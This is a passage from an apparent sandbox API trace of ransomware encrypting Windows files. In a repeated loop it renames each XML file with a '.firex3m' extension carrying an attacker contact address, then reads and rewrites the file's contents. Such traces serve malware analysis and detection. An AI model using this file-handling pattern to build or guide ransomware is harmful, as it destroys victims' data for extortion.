dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.276] CloseHandle (hObject=0x700) returned 1 [0216.276] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.276] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0216.277] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0216.277] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0216.278] GetProcessHeap () returned 0x630000 [0216.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0216.278] GetProcessHeap () returned 0x630000 [0216.278] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0216.278] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.278] ReadFile (in: hFile=0x700, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0216.280] GetProcessHeap () returned 0x630000 [0216.280] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0216.280] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x700, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x700, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.281] CloseHandle (hObject=0x700) returned 1 [0216.281] GetProcessHeap () returned 0x630000 [0216.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0216.281] GetProcessHeap () returned 0x630000 [0216.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0216.281] GetProcessHeap () returned 0x630000 [0216.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0216.281] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46dcc9a6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0xb747496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4e00 [0216.281] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0216.281] Sleep (dwMilliseconds=0x1) [0217.806] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml") returned 1 [0217.806] GetProcessHeap () returned 0x630000 [0217.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x509c) returned 0x6fe3bb0 [0217.806] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0217.807] CloseHandle (hObject=0x6ec) returned 1 [0217.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.807] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e00 [0217.808] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0217.808] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-mx\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0217.808] GetProcessHeap () returned 0x630000 [0217.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbf38 [0217.809] GetProcessHeap () returned 0x630000 [0217.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dbb48 [0217.809] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.809] ReadFile (in: hFile=0x6ec, lpBuffer=0x6dbf38, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbf38*, lpNumberOfBytesRead=0x45bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0219.387] GetProcessHeap () returned 0x630000 [0219.387] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0219.387] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.387] WriteFile (in: hFile=0x6ec, lpBuffer=0x6dbb48*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbb48*, lpNumberOfBytesWritten=0x45bff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0219.387] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.387] WriteFile (in: hFile=0x6ec, lpBuffer=0x6dbd07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbd07*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.388] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.388] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.388] CloseHandle (hObject=0x6ec) returned 1 [0219.388] GetProcessHeap () returned 0x630000 [0219.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbb48 | out: hHeap=0x630000) returned 1 [0219.388] GetProcessHeap () returned 0x630000 [0219.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbf38 | out: hHeap=0x630000) returned 1 [0219.389] GetProcessHeap () returned 0x630000 [0219.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0219.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-MX\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48b75f66, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x45bfd20, dwReserved1=0x6dbf38, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0219.389] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0219.389] Sleep (dwMilliseconds=0x1) [0219.404] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml") returned 1 [0219.404] GetProcessHeap () returned 0x630000 [0219.405] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50cc) returned 0x6fe3bb0 [0219.405] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.405] CloseHandle (hObject=0x69c) returned 1 [0219.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.406] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0219.406] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.406] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.407] GetProcessHeap () returned 0x630000 [0219.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0219.407] GetProcessHeap () returned 0x630000 [0219.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0219.407] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.407] ReadFile (in: hFile=0x69c, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.409] GetProcessHeap () returned 0x630000 [0219.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0219.409] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.409] WriteFile (in: hFile=0x69c, lpBuffer=0x74aa618*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesWritten=0x45bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.409] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.409] WriteFile (in: hFile=0x69c, lpBuffer=0x74aa7b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7b7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.409] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.410] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.410] CloseHandle (hObject=0x69c) returned 1 [0219.410] GetProcessHeap () returned 0x630000 [0219.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0219.410] GetProcessHeap () returned 0x630000 [0219.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0219.410] GetProcessHeap () returned 0x630000 [0219.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0219.410] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48b9e38b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x45bfd20, dwReserved1=0x74aa090, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0219.410] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.410] Sleep (dwMilliseconds=0x1) [0221.053] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x45bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml") returned 1 [0221.053] GetProcessHeap () returned 0x630000 [0221.053] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50fc) returned 0x6fe3bb0 [0221.055] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0221.055] CloseHandle (hObject=0x6c8) returned 1 [0221.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.056] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0221.059] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0221.060] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0221.060] GetProcessHeap () returned 0x630000 [0221.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0221.060] GetProcessHeap () returned 0x630000 [0221.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0221.060] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.061] ReadFile (in: hFile=0x6c8, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x45bff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.063] GetProcessHeap () 